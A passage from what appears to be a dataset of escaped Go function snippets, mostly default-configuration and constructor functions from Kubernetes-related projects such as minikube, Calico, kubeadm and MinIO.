{\\n\\tdefaultAWSNativeIP := operatorv1.NativeIPDisabled\\n\\n\\t// Default value of Native IP is Disabled.\\n\\tif egw.Spec.AWS != nil && egw.Spec.AWS.NativeIP == nil {\\n\\t\\tegw.Spec.AWS.NativeIP = &defaultAWSNativeIP\\n\\t}\\n\\n\\t// set the default label if not specified.\\n\\tdefLabel := map[string]string{\\\"projectcalico.org/egw\\\": egw.Name}\\n\\tif egw.Spec.Template == nil {\\n\\t\\tegw.Spec.Template = &operatorv1.EgressGatewayDeploymentPodTemplateSpec{}\\n\\t\\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\\n\\t} else {\\n\\t\\tif egw.Spec.Template.Metadata == nil {\\n\\t\\t\\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\\n\\t\\t} else {\\n\\t\\t\\tif len(egw.Spec.Template.Metadata.Labels) == 0 {\\n\\t\\t\\t\\tegw.Spec.Template.Metadata.Labels = defLabel\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// If affinity isn't specified by the user, default pod anti affinity is added so that 2 EGW pods aren't scheduled in\\n\\t// the same node. If the provider is AKS, set the node affinity so that pods don't run on virutal-nodes.\\n\\tdefAffinity := &v1.Affinity{}\\n\\tdefAffinity.PodAntiAffinity = &v1.PodAntiAffinity{\\n\\t\\tPreferredDuringSchedulingIgnoredDuringExecution: []v1.WeightedPodAffinityTerm{\\n\\t\\t\\t{\\n\\t\\t\\t\\tWeight: 1,\\n\\t\\t\\t\\tPodAffinityTerm: v1.PodAffinityTerm{\\n\\t\\t\\t\\t\\tLabelSelector: &metav1.LabelSelector{\\n\\t\\t\\t\\t\\t\\tMatchLabels: egw.Spec.Template.Metadata.Labels,\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\tTopologyKey: \\\"topology.kubernetes.io/zone\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\tswitch installation.KubernetesProvider {\\n\\tcase operatorv1.ProviderAKS:\\n\\t\\tdefAffinity.NodeAffinity = &v1.NodeAffinity{\\n\\t\\t\\tRequiredDuringSchedulingIgnoredDuringExecution: &v1.NodeSelector{\\n\\t\\t\\t\\tNodeSelectorTerms: []v1.NodeSelectorTerm{{\\n\\t\\t\\t\\t\\tMatchExpressions: []v1.NodeSelectorRequirement{\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tKey: \\\"type\\\",\\n\\t\\t\\t\\t\\t\\t\\tOperator: v1.NodeSelectorOpNotIn,\\n\\t\\t\\t\\t\\t\\t\\tValues: []string{\\\"virtual-node\\\"},\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tKey: \\\"kubernetes.azure.com/cluster\\\",\\n\\t\\t\\t\\t\\t\\t\\tOperator: v1.NodeSelectorOpExists,\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t}},\\n\\t\\t\\t},\\n\\t\\t}\\n\\tdefault:\\n\\t\\tdefAffinity.NodeAffinity = nil\\n\\t}\\n\\n\\tif egw.Spec.Template.Spec == nil {\\n\\t\\tegw.Spec.Template.Spec = &operatorv1.EgressGatewayDeploymentPodSpec{Affinity: defAffinity}\\n\\t} else if egw.Spec.Template.Spec.Affinity == nil {\\n\\t\\tegw.Spec.Template.Spec.Affinity = defAffinity\\n\\t}\\n}\",\n \"func new() exampleInterface {\\n\\treturn config{}\\n}\",\n \"func generateNewConfigFromFlags(cmd *cobra.Command, k8sVersion string, rtime string, drvName string) config.ClusterConfig {\\n\\tvar cc config.ClusterConfig\\n\\n\\t// networkPlugin cni deprecation warning\\n\\tchosenNetworkPlugin := viper.GetString(networkPlugin)\\n\\tif chosenNetworkPlugin == \\\"cni\\\" {\\n\\t\\tout.WarningT(\\\"With --network-plugin=cni, you will need to provide your own CNI. See --cni flag as a user-friendly alternative\\\")\\n\\t}\\n\\n\\tif !(driver.IsKIC(drvName) || driver.IsKVM(drvName) || driver.IsQEMU(drvName)) && viper.GetString(network) != \\\"\\\" {\\n\\t\\tout.WarningT(\\\"--network flag is only valid with the docker/podman, KVM and Qemu drivers, it will be ignored\\\")\\n\\t}\\n\\n\\tcheckNumaCount(k8sVersion)\\n\\n\\tcheckExtraDiskOptions(cmd, drvName)\\n\\n\\tcc = config.ClusterConfig{\\n\\t\\tName: ClusterFlagValue(),\\n\\t\\tKeepContext: viper.GetBool(keepContext),\\n\\t\\tEmbedCerts: viper.GetBool(embedCerts),\\n\\t\\tMinikubeISO: viper.GetString(isoURL),\\n\\t\\tKicBaseImage: viper.GetString(kicBaseImage),\\n\\t\\tNetwork: getNetwork(drvName),\\n\\t\\tSubnet: viper.GetString(subnet),\\n\\t\\tMemory: getMemorySize(cmd, drvName),\\n\\t\\tCPUs: getCPUCount(drvName),\\n\\t\\tDiskSize: getDiskSize(),\\n\\t\\tDriver: drvName,\\n\\t\\tListenAddress: viper.GetString(listenAddress),\\n\\t\\tHyperkitVpnKitSock: viper.GetString(vpnkitSock),\\n\\t\\tHyperkitVSockPorts: viper.GetStringSlice(vsockPorts),\\n\\t\\tNFSShare: viper.GetStringSlice(nfsShare),\\n\\t\\tNFSSharesRoot: viper.GetString(nfsSharesRoot),\\n\\t\\tDockerEnv: config.DockerEnv,\\n\\t\\tDockerOpt: config.DockerOpt,\\n\\t\\tInsecureRegistry: insecureRegistry,\\n\\t\\tRegistryMirror: registryMirror,\\n\\t\\tHostOnlyCIDR: viper.GetString(hostOnlyCIDR),\\n\\t\\tHypervVirtualSwitch: viper.GetString(hypervVirtualSwitch),\\n\\t\\tHypervUseExternalSwitch: viper.GetBool(hypervUseExternalSwitch),\\n\\t\\tHypervExternalAdapter: viper.GetString(hypervExternalAdapter),\\n\\t\\tKVMNetwork: viper.GetString(kvmNetwork),\\n\\t\\tKVMQemuURI: viper.GetString(kvmQemuURI),\\n\\t\\tKVMGPU: viper.GetBool(kvmGPU),\\n\\t\\tKVMHidden: viper.GetBool(kvmHidden),\\n\\t\\tKVMNUMACount: viper.GetInt(kvmNUMACount),\\n\\t\\tDisableDriverMounts: viper.GetBool(disableDriverMounts),\\n\\t\\tUUID: viper.GetString(uuid),\\n\\t\\tNoVTXCheck: viper.GetBool(noVTXCheck),\\n\\t\\tDNSProxy: viper.GetBool(dnsProxy),\\n\\t\\tHostDNSResolver: viper.GetBool(hostDNSResolver),\\n\\t\\tHostOnlyNicType: viper.GetString(hostOnlyNicType),\\n\\t\\tNatNicType: viper.GetString(natNicType),\\n\\t\\tStartHostTimeout: viper.GetDuration(waitTimeout),\\n\\t\\tExposedPorts: viper.GetStringSlice(ports),\\n\\t\\tSSHIPAddress: viper.GetString(sshIPAddress),\\n\\t\\tSSHUser: viper.GetString(sshSSHUser),\\n\\t\\tSSHKey: viper.GetString(sshSSHKey),\\n\\t\\tSSHPort: viper.GetInt(sshSSHPort),\\n\\t\\tExtraDisks: viper.GetInt(extraDisks),\\n\\t\\tCertExpiration: viper.GetDuration(certExpiration),\\n\\t\\tMount: viper.GetBool(createMount),\\n\\t\\tMountString: viper.GetString(mountString),\\n\\t\\tMount9PVersion: viper.GetString(mount9PVersion),\\n\\t\\tMountGID: viper.GetString(mountGID),\\n\\t\\tMountIP: viper.GetString(mountIPFlag),\\n\\t\\tMountMSize: viper.GetInt(mountMSize),\\n\\t\\tMountOptions: viper.GetStringSlice(mountOptions),\\n\\t\\tMountPort: uint16(viper.GetUint(mountPortFlag)),\\n\\t\\tMountType: viper.GetString(mountTypeFlag),\\n\\t\\tMountUID: viper.GetString(mountUID),\\n\\t\\tBinaryMirror: viper.GetString(binaryMirror),\\n\\t\\tDisableOptimizations: viper.GetBool(disableOptimizations),\\n\\t\\tDisableMetrics: viper.GetBool(disableMetrics),\\n\\t\\tCustomQemuFirmwarePath: viper.GetString(qemuFirmwarePath),\\n\\t\\tSocketVMnetClientPath: detect.SocketVMNetClientPath(),\\n\\t\\tSocketVMnetPath: detect.SocketVMNetPath(),\\n\\t\\tStaticIP: viper.GetString(staticIP),\\n\\t\\tKubernetesConfig: config.KubernetesConfig{\\n\\t\\t\\tKubernetesVersion: k8sVersion,\\n\\t\\t\\tClusterName: ClusterFlagValue(),\\n\\t\\t\\tNamespace: viper.GetString(startNamespace),\\n\\t\\t\\tAPIServerName: viper.GetString(apiServerName),\\n\\t\\t\\tAPIServerNames: apiServerNames,\\n\\t\\t\\tAPIServerIPs: apiServerIPs,\\n\\t\\t\\tDNSDomain: viper.GetString(dnsDomain),\\n\\t\\t\\tFeatureGates: viper.GetString(featureGates),\\n\\t\\t\\tContainerRuntime: rtime,\\n\\t\\t\\tCRISocket: viper.GetString(criSocket),\\n\\t\\t\\tNetworkPlugin: chosenNetworkPlugin,\\n\\t\\t\\tServiceCIDR: viper.GetString(serviceCIDR),\\n\\t\\t\\tImageRepository: getRepository(cmd, k8sVersion),\\n\\t\\t\\tExtraOptions: getExtraOptions(),\\n\\t\\t\\tShouldLoadCachedImages: viper.GetBool(cacheImages),\\n\\t\\t\\tCNI: getCNIConfig(cmd),\\n\\t\\t\\tNodePort: viper.GetInt(apiServerPort),\\n\\t\\t},\\n\\t\\tMultiNodeRequested: viper.GetInt(nodes) > 1,\\n\\t}\\n\\tcc.VerifyComponents = interpretWaitFlag(*cmd)\\n\\tif viper.GetBool(createMount) && driver.IsKIC(drvName) {\\n\\t\\tcc.ContainerVolumeMounts = []string{viper.GetString(mountString)}\\n\\t}\\n\\n\\tif driver.IsKIC(drvName) {\\n\\t\\tsi, err := oci.CachedDaemonInfo(drvName)\\n\\t\\tif err != nil {\\n\\t\\t\\texit.Message(reason.Usage, \\\"Ensure your {{.driver_name}} is running and is healthy.\\\", out.V{\\\"driver_name\\\": driver.FullName(drvName)})\\n\\t\\t}\\n\\t\\tif si.Rootless {\\n\\t\\t\\tout.Styled(style.Notice, \\\"Using rootless {{.driver_name}} driver\\\", out.V{\\\"driver_name\\\": driver.FullName(drvName)})\\n\\t\\t\\tif cc.KubernetesConfig.ContainerRuntime == constants.Docker {\\n\\t\\t\\t\\texit.Message(reason.Usage, \\\"--container-runtime must be set to \\\\\\\"containerd\\\\\\\" or \\\\\\\"cri-o\\\\\\\" for rootless\\\")\\n\\t\\t\\t}\\n\\t\\t\\t// KubeletInUserNamespace feature gate is essential for rootless driver.\\n\\t\\t\\t// See https://kubernetes.io/docs/tasks/administer-cluster/kubelet-in-userns/\\n\\t\\t\\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \\\"KubeletInUserNamespace=true\\\")\\n\\t\\t} else {\\n\\t\\t\\tif oci.IsRootlessForced() {\\n\\t\\t\\t\\tif driver.IsDocker(drvName) {\\n\\t\\t\\t\\t\\texit.Message(reason.Usage, \\\"Using rootless Docker driver was required, but the current Docker does not seem rootless. Try 'docker context use rootless' .\\\")\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\texit.Message(reason.Usage, \\\"Using rootless driver was required, but the current driver does not seem rootless\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tout.Styled(style.Notice, \\\"Using {{.driver_name}} driver with root privileges\\\", out.V{\\\"driver_name\\\": driver.FullName(drvName)})\\n\\t\\t}\\n\\t\\t// for btrfs: if k8s < v1.25.0-beta.0 set kubelet's LocalStorageCapacityIsolation feature gate flag to false,\\n\\t\\t// and if k8s >= v1.25.0-beta.0 (when it went ga and removed as feature gate), set kubelet's localStorageCapacityIsolation option (via kubeadm config) to false.\\n\\t\\t// ref: https://github.com/kubernetes/minikube/issues/14728#issue-1327885840\\n\\t\\tif si.StorageDriver == \\\"btrfs\\\" {\\n\\t\\t\\tif semver.MustParse(strings.TrimPrefix(k8sVersion, version.VersionPrefix)).LT(semver.MustParse(\\\"1.25.0-beta.0\\\")) {\\n\\t\\t\\t\\tklog.Info(\\\"auto-setting LocalStorageCapacityIsolation to false because using btrfs storage driver\\\")\\n\\t\\t\\t\\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \\\"LocalStorageCapacityIsolation=false\\\")\\n\\t\\t\\t} else if !cc.KubernetesConfig.ExtraOptions.Exists(\\\"kubelet.localStorageCapacityIsolation=false\\\") {\\n\\t\\t\\t\\tif err := cc.KubernetesConfig.ExtraOptions.Set(\\\"kubelet.localStorageCapacityIsolation=false\\\"); err != nil {\\n\\t\\t\\t\\t\\texit.Error(reason.InternalConfigSet, \\\"failed to set extra option\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif runtime.GOOS == \\\"linux\\\" && si.DockerOS == \\\"Docker Desktop\\\" {\\n\\t\\t\\tout.WarningT(\\\"For an improved experience it's recommended to use Docker Engine instead of Docker Desktop.\\\\nDocker Engine installation instructions: https://docs.docker.com/engine/install/#server\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn cc\\n}\",\n \"func newRepairingMutation(c config, op Op, opts ...repairingOption) *RepairingMutation {\\n\\tm := &RepairingMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeRepairing,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func NewDefault() *Config {\\n\\tname := fmt.Sprintf(\\\"ec2-%s-%s\\\", getTS()[:10], randutil.String(12))\\n\\tif v := os.Getenv(AWS_K8S_TESTER_EC2_PREFIX + \\\"NAME\\\"); v != \\\"\\\" {\\n\\t\\tname = v\\n\\t}\\n\\treturn &Config{\\n\\t\\tmu: new(sync.RWMutex),\\n\\n\\t\\tUp: false,\\n\\t\\tDeletedResources: make(map[string]string),\\n\\n\\t\\tName: name,\\n\\t\\tPartition: endpoints.AwsPartitionID,\\n\\t\\tRegion: endpoints.UsWest2RegionID,\\n\\n\\t\\t// to be auto-generated\\n\\t\\tConfigPath: \\\"\\\",\\n\\t\\tRemoteAccessCommandsOutputPath: \\\"\\\",\\n\\n\\t\\tLogColor: true,\\n\\t\\tLogColorOverride: \\\"\\\",\\n\\n\\t\\tLogLevel: logutil.DefaultLogLevel,\\n\\t\\t// default, stderr, stdout, or file name\\n\\t\\t// log file named with cluster name will be added automatically\\n\\t\\tLogOutputs: []string{\\\"stderr\\\"},\\n\\n\\t\\tOnFailureDelete: true,\\n\\t\\tOnFailureDeleteWaitSeconds: 120,\\n\\n\\t\\tS3: getDefaultS3(),\\n\\t\\tRole: getDefaultRole(),\\n\\t\\tVPC: getDefaultVPC(),\\n\\t\\tRemoteAccessKeyCreate: true,\\n\\t\\tRemoteAccessPrivateKeyPath: filepath.Join(os.TempDir(), randutil.String(10)+\\\".insecure.key\\\"),\\n\\n\\t\\tASGsFetchLogs: true,\\n\\t\\tASGs: map[string]ASG{\\n\\t\\t\\tname + \\\"-asg\\\": {\\n\\t\\t\\t\\tName: name + \\\"-asg\\\",\\n\\t\\t\\t\\tSSM: &SSM{\\n\\t\\t\\t\\t\\tDocumentCreate: false,\\n\\t\\t\\t\\t\\tDocumentName: \\\"\\\",\\n\\t\\t\\t\\t\\tDocumentCommands: \\\"\\\",\\n\\t\\t\\t\\t\\tDocumentExecutionTimeoutSeconds: 3600,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tRemoteAccessUserName: \\\"ec2-user\\\", // for AL2\\n\\t\\t\\t\\tAMIType: AMITypeAL2X8664,\\n\\t\\t\\t\\tImageID: \\\"\\\",\\n\\t\\t\\t\\tImageIDSSMParameter: \\\"/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\\\",\\n\\t\\t\\t\\tInstanceType: DefaultNodeInstanceTypeCPU,\\n\\t\\t\\t\\tVolumeSize: DefaultNodeVolumeSize,\\n\\t\\t\\t\\tASGMinSize: 1,\\n\\t\\t\\t\\tASGMaxSize: 1,\\n\\t\\t\\t\\tASGDesiredCapacity: 1,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n}\",\n \"func newJoinOptions() *joinOptions {\\n\\t// initialize the public kubeadm config API by applying defaults\\n\\texternalcfg := &kubeadmapiv1.JoinConfiguration{}\\n\\n\\t// Add optional config objects to host flags.\\n\\t// un-set objects will be cleaned up afterwards (into newJoinData func)\\n\\texternalcfg.Discovery.File = &kubeadmapiv1.FileDiscovery{}\\n\\texternalcfg.Discovery.BootstrapToken = &kubeadmapiv1.BootstrapTokenDiscovery{}\\n\\texternalcfg.ControlPlane = &kubeadmapiv1.JoinControlPlane{}\\n\\n\\t// This object is used for storage of control-plane flags.\\n\\tjoinControlPlane := &kubeadmapiv1.JoinControlPlane{}\\n\\n\\t// Apply defaults\\n\\tkubeadmscheme.Scheme.Default(externalcfg)\\n\\tkubeadmapiv1.SetDefaults_JoinControlPlane(joinControlPlane)\\n\\n\\treturn &joinOptions{\\n\\t\\texternalcfg: externalcfg,\\n\\t}\\n}\",\n \"func (o *BaseEdgeLBPoolSpec) setDefaults() {\\n\\t// Set defaults for for pure dklb functionality.\\n\\tif o.CloudProviderConfiguration == nil {\\n\\t\\to.CloudProviderConfiguration = pointers.NewString(\\\"\\\")\\n\\t}\\n\\tif o.CPUs == nil {\\n\\t\\to.CPUs = &DefaultEdgeLBPoolCpus\\n\\t}\\n\\tif o.Memory == nil {\\n\\t\\to.Memory = &DefaultEdgeLBPoolMemory\\n\\t}\\n\\tif o.Name == nil {\\n\\t\\to.Name = pointers.NewString(newRandomEdgeLBPoolName(\\\"\\\"))\\n\\t}\\n\\tif o.Role == nil {\\n\\t\\to.Role = pointers.NewString(DefaultEdgeLBPoolRole)\\n\\t}\\n\\tif o.Network == nil && *o.Role == constants.EdgeLBRolePublic {\\n\\t\\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\\n\\t}\\n\\tif o.Network == nil && *o.Role != constants.EdgeLBRolePublic {\\n\\t\\to.Network = pointers.NewString(constants.DefaultDCOSVirtualNetworkName)\\n\\t}\\n\\tif o.Size == nil {\\n\\t\\to.Size = pointers.NewInt32(int32(DefaultEdgeLBPoolSize))\\n\\t}\\n\\tif o.Strategies == nil {\\n\\t\\to.Strategies = &EdgeLBPoolManagementStrategies{\\n\\t\\t\\tCreation: &DefaultEdgeLBPoolCreationStrategy,\\n\\t\\t}\\n\\t}\\n\\t// Check whether cloud-provider configuration is being specified, and override the defaults where necessary.\\n\\tif *o.CloudProviderConfiguration != \\\"\\\" {\\n\\t\\t// If the target EdgeLB pool's name doesn't start with the prefix used for cloud-provider pools, we generate a new name using that prefix.\\n\\t\\tif !strings.HasPrefix(*o.Name, constants.EdgeLBCloudProviderPoolNamePrefix) {\\n\\t\\t\\to.Name = pointers.NewString(newRandomEdgeLBPoolName(constants.EdgeLBCloudProviderPoolNamePrefix))\\n\\t\\t}\\n\\t\\t// If the target EdgeLB pool's network is not the host network, we override it.\\n\\t\\tif *o.Network != constants.EdgeLBHostNetwork {\\n\\t\\t\\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\\n\\t\\t}\\n\\t}\\n}\",\n \"func newConfig() (*rest.Config, error) {\\n // try in cluster config first, it should fail quickly on lack of env vars\\n cfg, err := inClusterConfig()\\n if err != nil {\\n cfg, err = clientcmd.BuildConfigFromFlags(\\\"\\\", clientcmd.RecommendedHomeFile)\\n if err != nil {\\n return nil, errors.Wrap(err, \\\"failed to get InClusterConfig and Config from kube_config\\\")\\n }\\n }\\n return cfg, nil\\n}\",\n \"func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\\n\\tm := &RestaurantMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeRestaurant,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\\n\\tm := &RestaurantMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeRestaurant,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func newConfigV101() *configV1 {\\n\\tconf := new(configV1)\\n\\tconf.Version = mcCurrentConfigVersion\\n\\t// make sure to allocate map's otherwise Golang\\n\\t// exits silently without providing any errors\\n\\tconf.Hosts = make(map[string]*hostConfig)\\n\\tconf.Aliases = make(map[string]string)\\n\\n\\tlocalHostConfig := new(hostConfig)\\n\\tlocalHostConfig.AccessKeyID = \\\"\\\"\\n\\tlocalHostConfig.SecretAccessKey = \\\"\\\"\\n\\n\\ts3HostConf := new(hostConfig)\\n\\ts3HostConf.AccessKeyID = globalAccessKeyID\\n\\ts3HostConf.SecretAccessKey = globalSecretAccessKey\\n\\n\\t// Your example host config\\n\\texampleHostConf := new(hostConfig)\\n\\texampleHostConf.AccessKeyID = globalAccessKeyID\\n\\texampleHostConf.SecretAccessKey = globalSecretAccessKey\\n\\n\\tplayHostConfig := new(hostConfig)\\n\\tplayHostConfig.AccessKeyID = \\\"\\\"\\n\\tplayHostConfig.SecretAccessKey = \\\"\\\"\\n\\n\\tdlHostConfig := new(hostConfig)\\n\\tdlHostConfig.AccessKeyID = \\\"\\\"\\n\\tdlHostConfig.SecretAccessKey = \\\"\\\"\\n\\n\\tconf.Hosts[exampleHostURL] = exampleHostConf\\n\\tconf.Hosts[\\\"localhost:*\\\"] = localHostConfig\\n\\tconf.Hosts[\\\"127.0.0.1:*\\\"] = localHostConfig\\n\\tconf.Hosts[\\\"s3*.amazonaws.com\\\"] = s3HostConf\\n\\tconf.Hosts[\\\"play.minio.io:9000\\\"] = playHostConfig\\n\\tconf.Hosts[\\\"dl.minio.io:9000\\\"] = dlHostConfig\\n\\n\\taliases := make(map[string]string)\\n\\taliases[\\\"s3\\\"] = \\\"https://s3.amazonaws.com\\\"\\n\\taliases[\\\"play\\\"] = \\\"https://play.minio.io:9000\\\"\\n\\taliases[\\\"dl\\\"] = \\\"https://dl.minio.io:9000\\\"\\n\\taliases[\\\"localhost\\\"] = \\\"http://localhost:9000\\\"\\n\\tconf.Aliases = aliases\\n\\n\\treturn conf\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\tsnapClientset, err := snapclientset.NewForConfig(mgr.GetConfig())\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\treturn &ReconcileVolumeBackup{\\n\\t\\tclient: mgr.GetClient(),\\n\\t\\tsnapClientset: snapClientset,\\n\\t\\tconfig: mgr.GetConfig(),\\n\\t\\tscheme: mgr.GetScheme(),\\n\\t\\texecutor: executor.CreateNewRemotePodExecutor(mgr.GetConfig()),\\n\\t}\\n}\",\n \"func newConfig(serviceName string) config {\\n\\t// Use stdlib to parse. If it's an invalid value and doesn't parse, log it\\n\\t// and keep going. It should already be false on error but we force it to\\n\\t// be extra clear that it's failing closed.\\n\\tinsecure, err := strconv.ParseBool(os.Getenv(\\\"OTEL_EXPORTER_OTLP_INSECURE\\\"))\\n\\tif err != nil {\\n\\t\\tinsecure = false\\n\\t\\tlog.Println(\\\"Invalid boolean value in OTEL_EXPORTER_OTLP_INSECURE. Try true or false.\\\")\\n\\t}\\n\\n\\treturn config{\\n\\t\\tservicename: serviceName,\\n\\t\\tendpoint: os.Getenv(\\\"OTEL_EXPORTER_OTLP_ENDPOINT\\\"),\\n\\t\\tinsecure: insecure,\\n\\t}\\n}\",\n \"func newConfig() *bqConfig {\\n\\treturn &bqConfig{\\n\\t\\tarenaSize: cDefaultArenaSize,\\n\\t\\tmaxInMemArenas: cMinMaxInMemArenas,\\n\\t}\\n}\",\n \"func (c *Config) addUnsetRedpandaDefaults(actual bool) {\\n\\tsrc := c.redpandaYaml\\n\\tif actual {\\n\\t\\tsrc = c.redpandaYamlActual\\n\\t}\\n\\tdst := &c.redpandaYaml\\n\\tdefaultFromRedpanda(\\n\\t\\tnamedAuthnToNamed(src.Redpanda.KafkaAPI),\\n\\t\\tsrc.Redpanda.KafkaAPITLS,\\n\\t\\t&dst.Rpk.KafkaAPI.Brokers,\\n\\t)\\n\\tdefaultFromRedpanda(\\n\\t\\tsrc.Redpanda.AdminAPI,\\n\\t\\tsrc.Redpanda.AdminAPITLS,\\n\\t\\t&dst.Rpk.AdminAPI.Addresses,\\n\\t)\\n\\n\\tif len(dst.Rpk.KafkaAPI.Brokers) == 0 && len(dst.Rpk.AdminAPI.Addresses) > 0 {\\n\\t\\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.AdminAPI.Addresses[0])\\n\\t\\tif err == nil {\\n\\t\\t\\thost = net.JoinHostPort(host, strconv.Itoa(DefaultKafkaPort))\\n\\t\\t\\tdst.Rpk.KafkaAPI.Brokers = []string{host}\\n\\t\\t\\tdst.Rpk.KafkaAPI.TLS = dst.Rpk.AdminAPI.TLS\\n\\t\\t}\\n\\t}\\n\\n\\tif len(dst.Rpk.AdminAPI.Addresses) == 0 && len(dst.Rpk.KafkaAPI.Brokers) > 0 {\\n\\t\\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.KafkaAPI.Brokers[0])\\n\\t\\tif err == nil {\\n\\t\\t\\thost = net.JoinHostPort(host, strconv.Itoa(DefaultAdminPort))\\n\\t\\t\\tdst.Rpk.AdminAPI.Addresses = []string{host}\\n\\t\\t\\tdst.Rpk.AdminAPI.TLS = dst.Rpk.KafkaAPI.TLS\\n\\t\\t}\\n\\t}\\n}\",\n \"func newConfig(envParams envParams) error {\\n\\t// Initialize server config.\\n\\tsrvCfg := newServerConfigV14()\\n\\n\\t// If env is set for a fresh start, save them to config file.\\n\\tif globalIsEnvCreds {\\n\\t\\tsrvCfg.SetCredential(envParams.creds)\\n\\t}\\n\\n\\tif globalIsEnvBrowser {\\n\\t\\tsrvCfg.SetBrowser(envParams.browser)\\n\\t}\\n\\n\\t// Create config path.\\n\\tif err := createConfigDir(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// hold the mutex lock before a new config is assigned.\\n\\t// Save the new config globally.\\n\\t// unlock the mutex.\\n\\tserverConfigMu.Lock()\\n\\tserverConfig = srvCfg\\n\\tserverConfigMu.Unlock()\\n\\n\\t// Save config into file.\\n\\treturn serverConfig.Save()\\n}\",\n \"func DefaultKubeadmConfigSpec(r *KubeadmConfigSpec) {\\n\\tif r.Format == \\\"\\\" {\\n\\t\\tr.Format = CloudConfig\\n\\t}\\n\\tif r.InitConfiguration != nil && r.InitConfiguration.NodeRegistration.ImagePullPolicy == \\\"\\\" {\\n\\t\\tr.InitConfiguration.NodeRegistration.ImagePullPolicy = \\\"IfNotPresent\\\"\\n\\t}\\n\\tif r.JoinConfiguration != nil && r.JoinConfiguration.NodeRegistration.ImagePullPolicy == \\\"\\\" {\\n\\t\\tr.JoinConfiguration.NodeRegistration.ImagePullPolicy = \\\"IfNotPresent\\\"\\n\\t}\\n}\",\n \"func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\\n\\tlogger := &fsm.Logger{\\n\\t\\tFieldLogger: logrus.WithFields(logrus.Fields{\\n\\t\\t\\tconstants.FieldPhase: p.Phase.ID,\\n\\t\\t}),\\n\\t\\tKey: opKey(p.Plan),\\n\\t\\tOperator: operator,\\n\\t}\\n\\tvar env map[string]string\\n\\tvar config []byte\\n\\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\\n\\t\\tenv = p.Phase.Data.Install.Env\\n\\t\\tconfig = p.Phase.Data.Install.Config\\n\\t}\\n\\treturn &configureExecutor{\\n\\t\\tFieldLogger: logger,\\n\\t\\tOperator: operator,\\n\\t\\tExecutorParams: p,\\n\\t\\tenv: env,\\n\\t\\tconfig: config,\\n\\t}, nil\\n}\",\n \"func (r *K8sRESTConfigFactory) Create(token string) (*rest.Config, error) {\\n\\tshallowCopy := *r.cfg\\n\\tshallowCopy.BearerToken = token\\n\\tif r.insecure {\\n\\t\\tshallowCopy.TLSClientConfig = rest.TLSClientConfig{\\n\\t\\t\\tInsecure: r.insecure,\\n\\t\\t}\\n\\t}\\n\\treturn &shallowCopy, nil\\n}\",\n \"func newResourceMutation(c config, op Op, opts ...resourceOption) *ResourceMutation {\\n\\tm := &ResourceMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeResource,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func (c *Chain) initRelayerConfig(path string, selfacc conf.Account, accounts []conf.Account) (rly.Config, error) {\\n\\tconfig := rly.Config{\\n\\t\\tGlobal: rly.GlobalConfig{\\n\\t\\t\\tTimeout: \\\"10s\\\",\\n\\t\\t\\tLiteCacheSize: 20,\\n\\t\\t},\\n\\t\\tPaths: rly.Paths{},\\n\\t}\\n\\n\\tfor _, account := range append([]conf.Account{selfacc}, accounts...) {\\n\\t\\tconfig.Chains = append(config.Chains, rly.NewChain(account.Name, xurl.HTTP(account.RPCAddress)))\\n\\t}\\n\\n\\tfor _, acc := range accounts {\\n\\t\\tconfig.Paths[fmt.Sprintf(\\\"%s-%s\\\", selfacc.Name, acc.Name)] = rly.NewPath(\\n\\t\\t\\trly.NewPathEnd(selfacc.Name, acc.Name),\\n\\t\\t\\trly.NewPathEnd(acc.Name, selfacc.Name),\\n\\t\\t)\\n\\t}\\n\\n\\tfile, err 